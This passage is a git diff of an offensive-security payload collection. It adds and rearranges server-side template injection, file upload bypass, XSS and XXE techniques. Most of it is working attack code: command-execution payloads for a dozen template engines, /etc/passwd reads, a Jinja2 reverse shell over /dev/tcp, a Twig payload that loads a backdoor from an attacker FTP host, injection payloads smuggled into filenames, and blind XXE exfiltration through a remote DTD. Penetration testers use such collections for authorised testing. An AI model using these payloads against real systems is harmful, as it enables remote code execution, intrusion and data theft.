+ {{this.pop}}
+ {{this.push (lookup string.sub "constructor")}}
+ {{this.pop}}
+ {{#with string.split as |codelist|}}
+ {{this.pop}}
+ {{this.push "return require('child_process').execSync('ls -la');"}}
+ {{this.pop}}
+ {{#each conslist}}
+ {{#with (string.sub.apply 0 codelist)}}
+ {{this}}
+ {{/with}}
+ {{/each}}
+ {{/with}}
+ {{/with}}
+ {{/with}}
+{{/with}}
```
-### Pebble - Code execution
-
-Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
-
-New version of Pebble :
-
-```java
-{% set cmd = 'id' %}
-{% set bytes = (1).TYPE
- .forName('java.lang.Runtime')
- .methods[6]
- .invoke(null,null)
- .exec(cmd)
- .inputStream
- .readAllBytes() %}
-{{ (1).TYPE
- .forName('java.lang.String')
- .constructors[0]
- .newInstance(([bytes]).toArray()) }}
-```
+---
## Jade / Codepen
+[Official website](https://codepen.io/)
+>
+
```python
- var x = root.process
- x = x.mainModule.require
@@ -309,32 +224,39 @@ New version of Pebble :
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
-## Velocity
+---
-```python
-#set($str=$class.inspect("java.lang.String").type)
-#set($chr=$class.inspect("java.lang.Character").type)
-#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
-$ex.waitFor()
-#set($out=$ex.getInputStream())
-#foreach($i in [1..$out.available()])
-$str.valueOf($chr.toChars($out.read()))
-#end
+## Java
+
+### Java - Basic injection
+
+```java
+${7*7}
+${{7*7}}
+${class.getClassLoader()}
+${class.getResource("").getPath()}
+${class.getResource("../../../../../index.htm").getContent()}
```
-## Mako
+### Java - Retrieve the system’s environment variables
-```python
-<%
-import os
-x=os.popen('id').read()
-%>
-${x}
+```java
+${T(java.lang.System).getenv()}
```
+### Java - Retrieve /etc/passwd
+
+```java
+${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
+
+${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
+```
+
+---
+
## Jinja2
-[Official website](http://jinja.pocoo.org/)
+[Official website](https://jinja.palletsprojects.com/)
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
### Jinja2 - Basic injection
@@ -346,7 +268,7 @@ ${x}
```
Jinja2 is used by Python Web Frameworks such as Django or Flask.
-The above injections have been tested on Flask application.
+The above injections have been tested on a Flask application.
### Jinja2 - Template format
@@ -413,7 +335,32 @@ Listen for connection
nc -lnvp 8000
```
-#### Exploit the SSTI by calling subprocess.Popen.
+#### Exploit the SSTI by calling os.popen().read()
+
+These payloads are context-free, and do not require anything, except being in a jinja2 Template object:
+
+```python
+{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
+
+{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
+
+{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
+```
+
+We can use these shorter payloads (this is the shorter payloads known yet):
+
+```python
+{{ cycler.__init__.__globals__.os.popen('id').read() }}
+
+{{ joiner.__init__.__globals__.os.popen('id').read() }}
+
+{{ namespace.__init__.__globals__.os.popen('id').read() }}
+```
+
+Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
+
+#### Exploit the SSTI by calling subprocess.Popen
+
:warning: the number 396 will vary depending of the application.
```python
@@ -438,16 +385,15 @@ In another GET parameter include a variable named "input" that contains the comm
```python
# evil config
-{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
+{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
-{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
+{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
-
### Jinja2 - Filter bypass
```python
@@ -486,8 +432,13 @@ Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by http
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```
+---
+
## Jinjava
+[Official website](https://github.com/HubSpot/jinjava)
+> Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).
+
### Jinjava - Basic injection
```python
@@ -497,7 +448,7 @@ Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by http
Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
-### Jinjava - Command execution
+### Jinjava - Command execution
Fixed by https://github.com/HubSpot/jinjava/pull/230
@@ -508,52 +459,323 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
-
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
-## Handlebars
+---
-### Handlebars - Command Execution
+## Lessjs
-```handlebars
-{{#with "s" as |string|}}
- {{#with "e"}}
- {{#with split as |conslist|}}
- {{this.pop}}
- {{this.push (lookup string.sub "constructor")}}
- {{this.pop}}
- {{#with string.split as |codelist|}}
- {{this.pop}}
- {{this.push "return require('child_process').execSync('ls -la');"}}
- {{this.pop}}
- {{#each conslist}}
- {{#with (string.sub.apply 0 codelist)}}
- {{this}}
- {{/with}}
- {{/each}}
- {{/with}}
- {{/with}}
- {{/with}}
-{{/with}}
+[Official website](https://lesscss.org/)
+> Less (which stands for Leaner Style Sheets) is a backwards-compatible language extension for CSS. This is the official documentation for Less, the language and Less.js, the JavaScript tool that converts your Less styles to CSS styles.
+
+### Lessjs - SSRF / LFI
+
+```less
+@import (inline) "http://localhost";
+// or
+@import (inline) "/etc/passwd";
```
-## ASP.NET Razor
+### Lessjs < v3 - Command Execution
-### ASP.NET Razor - Basic injection
-
-```powershell
-@(1+2)
-```
-
-### ASP.NET Razor - Command execution
-
-```csharp
-@{
- // C# code
+```less
+body {
+ color: `global.process.mainModule.require("child_process").execSync("id")`;
}
```
+### Plugins
+
+Lessjs plugins can be remotely included and are composed of Javascript which gets executed when the Less is transpiled.
+
+```less
+// example local plugin usage
+@plugin "plugin-2.7.js";
+```
+or
+```less
+// example remote plugin usage
+@plugin "http://example.com/plugin-2.7.js"
+```
+
+version 2 example RCE plugin:
+
+```javascript
+functions.add('cmd', function(val) {
+ return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
+});
+```
+version 3 and above example RCE plugin
+
+```javascript
+//Vulnerable plugin (3.13.1)
+registerPlugin({
+ install: function(less, pluginManager, functions) {
+ functions.add('cmd', function(val) {
+ return global.process.mainModule.require('child_process').execSync(val.value).toString();
+ });
+ }
+})
+```
+
+---
+
+## Mako
+
+[Official website](https://www.makotemplates.org/)
+> Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.
+
+```python
+<%
+import os
+x=os.popen('id').read()
+%>
+${x}
+```
+
+### Direct access to os from TemplateNamespace:
+
+Any of these payloads allows direct access to the `os` module
+
+```python
+${self.module.cache.util.os.system("id")}
+${self.module.runtime.util.os.system("id")}
+${self.template.module.cache.util.os.system("id")}
+${self.module.cache.compat.inspect.os.system("id")}
+${self.__init__.__globals__['util'].os.system('id')}
+${self.template.module.runtime.util.os.system("id")}
+${self.module.filters.compat.inspect.os.system("id")}
+${self.module.runtime.compat.inspect.os.system("id")}
+${self.module.runtime.exceptions.util.os.system("id")}
+${self.template.__init__.__globals__['os'].system('id')}
+${self.module.cache.util.compat.inspect.os.system("id")}
+${self.module.runtime.util.compat.inspect.os.system("id")}
+${self.template._mmarker.module.cache.util.os.system("id")}
+${self.template.module.cache.compat.inspect.os.system("id")}
+${self.module.cache.compat.inspect.linecache.os.system("id")}
+${self.template._mmarker.module.runtime.util.os.system("id")}
+${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
+${self.template.module.filters.compat.inspect.os.system("id")}
+${self.template.module.runtime.compat.inspect.os.system("id")}
+${self.module.filters.compat.inspect.linecache.os.system("id")}
+${self.module.runtime.compat.inspect.linecache.os.system("id")}
+${self.template.module.runtime.exceptions.util.os.system("id")}
+${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
+${self.context._with_template.module.cache.util.os.system("id")}
+${self.module.runtime.exceptions.compat.inspect.os.system("id")}
+${self.template.module.cache.util.compat.inspect.os.system("id")}
+${self.context._with_template.module.runtime.util.os.system("id")}
+${self.module.cache.util.compat.inspect.linecache.os.system("id")}
+${self.template.module.runtime.util.compat.inspect.os.system("id")}
+${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
+${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
+${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
+${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
+${self.template.module.cache.compat.inspect.linecache.os.system("id")}
+${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
+${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
+${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
+${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
+${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
+${self.template.module.filters.compat.inspect.linecache.os.system("id")}
+${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
+${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
+${self.context._with_template._mmarker.module.cache.util.os.system("id")}
+${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
+${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
+${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
+${self.context._with_template.module.cache.compat.inspect.os.system("id")}
+${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
+${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
+${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
+${self.context._with_template.module.filters.compat.inspect.os.system("id")}
+${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
+${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
+${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
+```
+
+PoC :
+
+```python
+>>> print(Template("${self.module.cache.util.os}").render())
+
+```
+
+Source [@podalirius_](https://twitter.com/podalirius_) : [https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/](https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/)
+
+
+---
+
+## Pebble
+
+[Official website](https://pebbletemplates.io/)
+> Pebble is a Java templating engine inspired by [Twig](./#twig) and similar to the Python [Jinja](./#jinja2) Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.
+
+### Pebble - Basic injection
+
+```java
+{{ someString.toUPPERCASE() }}
+```
+
+### Pebble - Code execution
+
+Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
+
+New version of Pebble :
+
+```java
+{% set cmd = 'id' %}
+{% set bytes = (1).TYPE
+ .forName('java.lang.Runtime')
+ .methods[6]
+ .invoke(null,null)
+ .exec(cmd)
+ .inputStream
+ .readAllBytes() %}
+{{ (1).TYPE
+ .forName('java.lang.String')
+ .constructors[0]
+ .newInstance(([bytes]).toArray()) }}
+```
+
+---
+
+## Ruby
+
+### Ruby - Basic injections
+
+ERB:
+
+```ruby
+<%= 7 * 7 %>
+```
+
+Slim:
+
+```ruby
+#{ 7 * 7 }
+```
+
+### Ruby - Retrieve /etc/passwd
+
+```ruby
+<%= File.open('/etc/passwd').read %>
+```
+
+### Ruby - List files and directories
+
+```ruby
+<%= Dir.entries('/') %>
+```
+
+### Ruby - Code execution
+
+Execute code using SSTI for ERB engine.
+
+```ruby
+<%= system('cat /etc/passwd') %>
+<%= `ls /` %>
+<%= IO.popen('ls /').readlines() %>
+<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
+<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
+```
+
+Execute code using SSTI for Slim engine.
+
+```powershell
+#{ %x|env| }
+```
+
+---
+
+## Smarty
+
+[Official website](https://www.smarty.net/docs/en/)
+> Smarty is a template engine for PHP.
+
+```python
+{$smarty.version}
+{php}echo `id`;{/php} //deprecated in smarty v3
+{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}
+{system('ls')} // compatible v3
+{system('cat index.php')} // compatible v3
+```
+
+---
+
+## Twig
+
+[Official website](https://twig.symfony.com/)
+> Twig is a modern template engine for PHP.
+
+### Twig - Basic injection
+
+```python
+{{7*7}}
+{{7*'7'}} would result in 49
+{{dump(app)}}
+{{app.request.server.all|join(',')}}
+```
+
+### Twig - Template format
+
+```python
+$output = $twig > render (
+ 'Dear' . $_GET['custom_greeting'],
+ array("first_name" => $user.first_name)
+);
+
+$output = $twig > render (
+ "Dear {first_name}",
+ array("first_name" => $user.first_name)
+);
+```
+
+### Twig - Arbitrary File Reading
+
+```python
+"{{'/etc/passwd'|file_excerpt(1,30)}}"@
+```
+
+### Twig - Code execution
+
+```python
+{{self}}
+{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
+{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
+{{['id']|filter('system')}}
+{{['cat\x20/etc/passwd']|filter('system')}}
+{{['cat$IFS/etc/passwd']|filter('system')}}
+```
+
+Example with an email passing FILTER_VALIDATE_EMAIL PHP.
+
+```powershell
+POST /subscribe?0=cat+/etc/passwd HTTP/1.1
+email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
+```
+
+---
+
+## Velocity
+
+[Official website](https://velocity.apache.org/engine/1.7/user-guide.html)
+> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.
+
+```python
+#set($str=$class.inspect("java.lang.String").type)
+#set($chr=$class.inspect("java.lang.Character").type)
+#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
+$ex.waitFor()
+#set($out=$ex.getInputStream())
+#foreach($i in [1..$out.available()])
+$str.valueOf($chr.toChars($out.read()))
+#end
+```
+
+---
+
## References
* [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
@@ -575,3 +797,4 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
* [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - 29/01/2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [Handlebars template injection and RCE in a Shopify app ](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
* [Lab: Server-side template injection in an unknown language with a documented exploit](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit)
+* [Exploiting Less.js to Achieve RCE](https://www.softwaresecured.com/exploiting-less-js/)
diff --git a/TWITTER.md b/TWITTER.md
index 4339ac0..74c3910 100644
--- a/TWITTER.md
+++ b/TWITTER.md
@@ -30,3 +30,4 @@ Twitter is very common in the InfoSec area. Many advices and tips on bug hunting
- [@filedescriptor - security researcher, bug hunter and content creator at 0xReconless](https://twitter.com/filedescriptor)
- [@0xReconless - Security research, blogs, and videos by filedescriptor, ngalongc & EdOverflow](https://twitter.com/0xReconless)
- [@pentest_swissky - Author of PayloadsAllTheThings & SSRFmap](https://twitter.com/pentest_swissky)
+- [@GentilKiwi - Author of Mimikatz & Kekeo](https://twitter.com/gentilkiwi)
diff --git a/Upload Insecure Files/Picture Metadata/CVE-2021-22204_exiftool_echo.jpg b/Upload Insecure Files/Picture Metadata/CVE-2021-22204_exiftool_echo.jpg
new file mode 100644
index 0000000..1734547
Binary files /dev/null and b/Upload Insecure Files/Picture Metadata/CVE-2021-22204_exiftool_echo.jpg differ
diff --git a/Upload Insecure Files/Picture Metadata/CVE-2021-22204_exiftool_revshell.jpg b/Upload Insecure Files/Picture Metadata/CVE-2021-22204_exiftool_revshell.jpg
new file mode 100644
index 0000000..eca7e9b
Binary files /dev/null and b/Upload Insecure Files/Picture Metadata/CVE-2021-22204_exiftool_revshell.jpg differ
diff --git a/Upload Insecure Files/README.md b/Upload Insecure Files/README.md
index 8275bdb..a0eff16 100644
--- a/Upload Insecure Files/README.md
+++ b/Upload Insecure Files/README.md
@@ -6,35 +6,36 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at
* [Tools](#tools)
* [Exploits](#exploits)
- * [PHP Extension](#php-extension)
+ * [Defaults extensions](#defaults-extension)
* [Other extensions](#other-extensions)
* [Upload tricks](#upload-tricks)
+ * [Filename vulnerabilities](#filename-vulnerabilities)
* [Picture upload with LFI](#picture-upload-with-lfi)
* [Configuration Files](#configuration-files)
* [CVE - Image Tragik](#cve---image-tragik)
+ * [CVE - FFMpeg](#cve---ffmpeg)
* [ZIP Archive](#zip-archive)
* [References](#references)
## Tools
- [Fuxploider](https://github.com/almandin/fuxploider)
-- [Burp> Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa)
-- [ZAP> FileUpload AddOn](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/)
+- [Burp > Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa)
+- [ZAP > FileUpload AddOn](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/)
## Exploits
-### PHP Extension
+### Defaults extensions
-* Default PHP extensions
+* PHP Server
```powershell
.php
.php3
.php4
.php5
.php7
- ```
-* Less known extensions
- ```powershell
+
+ # Less known PHP extensions
.pht
.phps
.phar
@@ -44,19 +45,9 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at
.phtm
.inc
```
-* Double extensions
- ```powershell
- .jpeg.php
- .jpg.php
- .png.php
- .*.php
- ```
-
-### Other extensions
-
-* asp : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)`
-* perl: `.pl, .pm, .cgi, .lib`
-* jsp : `.jsp, .jspx, .jsw, .jsv, .jspf`
+* ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)`
+* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf`
+* Perl: `.pl, .pm, .cgi, .lib`
* Coldfusion: `.cfm, .cfml, .cfc, .dbm`
### Upload tricks
@@ -64,7 +55,6 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at
- Use double extensions : `.jpg.php`
- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
- Mix uppercase and lowercase : `.pHp, .pHP5, .PhAr`
-
- Null byte (works well against `pathinfo()`)
* .php%00.gif
* .php\x00.gif
@@ -73,15 +63,29 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at
* .php%00.jpg
* .php\x00.jpg
- Special characters
- * file.php...... (In Windows when a file is created with dots at the end those will be removed)
- * file.php%20
+ * Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed.
+ * Whitespace characters: `file.php%20`
+ * Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
* `Content-Type : image/gif`
* `Content-Type : image/png`
* `Content-Type : image/jpeg`
+ * Set the Content-Type twice: once for unallowed type and once for allowed.
- [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
* Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
-- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")
+ * PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[`
+ * JPG: `\xff\xd8\xff`
+ * GIF: `GIF87a` OR `GIF8;`
+ * Shell can also be added in the metadata
+- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")
+
+### Filename vulnerabilities
+
+- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
+- LFI Payloads: e.g. `image.png../../../../../../../etc/passwd`
+- XSS Payloads e.g. `'"> .extension`
+- File Traversal e.g. `../../../tmp/lol.png`
+- Command Injection e.g. `; sleep 10;`
### Picture upload with LFI
@@ -115,11 +119,23 @@ pop graphic-context
More payload in the folder `Picture Image Magik`
+### CVE - FFMpeg
+
+FFmpeg HLS vulnerability
+
+
### ZIP archive
When a ZIP/archive file is automatically decompressed after the upload
* Zip Slip: directory traversal to write a file somewhere else
+ ```python
+ python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15
+
+ ln -s ../../../index.php symindex.txt
+ zip --symlinks test.zip symindex.txt
+ ```
+
## References
@@ -128,3 +144,4 @@ When a ZIP/archive file is automatically decompressed after the upload
* [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
+* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0)
\ No newline at end of file
diff --git a/XSS Injection/README.md b/XSS Injection/README.md
index 43804cd..f17abf3 100644
--- a/XSS Injection/README.md
+++ b/XSS Injection/README.md
@@ -134,10 +134,40 @@ More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all]
## Identify an XSS endpoint
+This payload opens the debugger in the developper console rather than triggering a popup alert box.
+
```javascript
```
+Modern applications with content hosting can use [sandbox domains][sandbox-domains]
+
+> to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.
+
+[sandbox-domains]:https://security.googleblog.com/2012/08/content-hosting-for-modern-web.html
+
+For this reason, it's better to use `alert(document.domain)` or `alert(window.origin)` rather than `alert(1)` as default XSS payload in order to know in which scope the XSS is actually executing.
+
+Better payload replacing ``:
+
+```html
+
+```
+
+While `alert()` is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so `console.log()` can be used instead to display a message in the console of the developper console (doesn't require any interaction).
+
+Example:
+
+```html
+
+```
+
+References:
+
+- [Google Bughunter University - XSS in sandbox domains](https://sites.google.com/site/bughunteruniversity/nonvuln/xss-in-sandbox-domain)
+- [LiveOverflow Video - DO NOT USE alert(1) for XSS](https://www.youtube.com/watch?v=KHwVjzWei1c)
+- [LiveOverflow blog post - DO NOT USE alert(1) for XSS](https://liveoverflow.com/do-not-use-alert-1-in-xss/)
+
### Tools
Most tools are also suitable for blind XSS attacks:
@@ -158,6 +188,10 @@ Most tools are also suitable for blind XSS attacks:
ipt>alert('XSS') ipt>
">
">
+
+
+ //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
+
// Img payload
@@ -177,6 +211,8 @@ Most tools are also suitable for blind XSS attacks:
">
">(`Firefox` is the only browser which allows self closing script)
+
+
```
@@ -1048,6 +1083,13 @@ Works for CSP like `script-src 'self' data:`
### Cloudflare XSS Bypasses by [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
+#### 25st January 2021
+
+```html
+
+
+```
+
#### 21st April 2020
```html
diff --git a/XXE Injection/README.md b/XXE Injection/README.md
index f46899f..826cdda 100644
--- a/XXE Injection/README.md
+++ b/XXE Injection/README.md
@@ -503,60 +503,67 @@ GIF (experimental)
### XXE inside XLSX file
-Extract the excel file.
+Structure of the XLSX:
```
-$ mkdir XXE && cd XXE
-$ unzip ../XXE.xlsx
-Archive: ../XXE.xlsx
- inflating: xl/drawings/drawing1.xml
- inflating: xl/worksheets/sheet1.xml
- inflating: xl/worksheets/_rels/sheet1.xml.rels
- inflating: xl/sharedStrings.xml
- inflating: xl/styles.xml
- inflating: xl/workbook.xml
- inflating: xl/_rels/workbook.xml.rels
- inflating: _rels/.rels
- inflating: [Content_Types].xml
+$ 7z l xxe.xlsx
+[...]
+ Date Time Attr Size Compressed Name
+------------------- ----- ------------ ------------ ------------------------
+2021-10-17 15:19:00 ..... 578 223 _rels/.rels
+2021-10-17 15:19:00 ..... 887 508 xl/workbook.xml
+2021-10-17 15:19:00 ..... 4451 643 xl/styles.xml
+2021-10-17 15:19:00 ..... 2042 899 xl/worksheets/sheet1.xml
+2021-10-17 15:19:00 ..... 549 210 xl/_rels/workbook.xml.rels
+2021-10-17 15:19:00 ..... 201 160 xl/sharedStrings.xml
+2021-10-17 15:19:00 ..... 731 352 docProps/core.xml
+2021-10-17 15:19:00 ..... 410 246 docProps/app.xml
+2021-10-17 15:19:00 ..... 1367 345 [Content_Types].xml
+------------------- ----- ------------ ------------ ------------------------
+2021-10-17 15:19:00 11216 3586 9 files
+```
+
+Extract Excel file: `7z x -oXXE xxe.xlsx`
+
+Rebuild Excel file:
+
+```
+$ cd XXE
+$ 7z u ../xxe.xlsx *
```
Add your blind XXE payload inside `xl/workbook.xml`.
```xml
-
- ]>
-&xxe;
-
+
+%asd;%c;]>
+&rrr;
+
```
Alternativly, add your payload in `xl/sharedStrings.xml`:
```xml
- ]>
-&xxe; testA2 testA3 testA4 testA5 testB1 testB2 testB3 testB4 testB5
+%asd;%c;]>
+&rrr; testA2 testA3 testA4 testA5 testB1 testB2 testB3 testB4 testB5
```
-Rebuild the Excel file.
+Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file.
+Instead we build the document once and then change the DTD.
+And using FTP instead of HTTP allows to retrieve much larger files.
+
+`xxe.dtd`
+
+```xml
+
+">
+```
+
+Serve DTD and receive FTP payload using [xxeserv](https://github.com/staaldraad/xxeserv):
```
-$ zip -r ../poc.xlsx *
-updating: [Content_Types].xml (deflated 71%)
-updating: _rels/ (stored 0%)
-updating: _rels/.rels (deflated 60%)
-updating: docProps/ (stored 0%)
-updating: docProps/app.xml (deflated 51%)
-updating: docProps/core.xml (deflated 50%)
-updating: xl/ (stored 0%)
-updating: xl/workbook.xml (deflated 56%)
-updating: xl/worksheets/ (stored 0%)
-updating: xl/worksheets/sheet1.xml (deflated 53%)
-updating: xl/styles.xml (deflated 60%)
-updating: xl/theme/ (stored 0%)
-updating: xl/theme/theme1.xml (deflated 80%)
-updating: xl/_rels/ (stored 0%)
-updating: xl/_rels/workbook.xml.rels (deflated 66%)
-updating: xl/sharedStrings.xml (deflated 17%)
+$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000
```
### XXE inside DTD file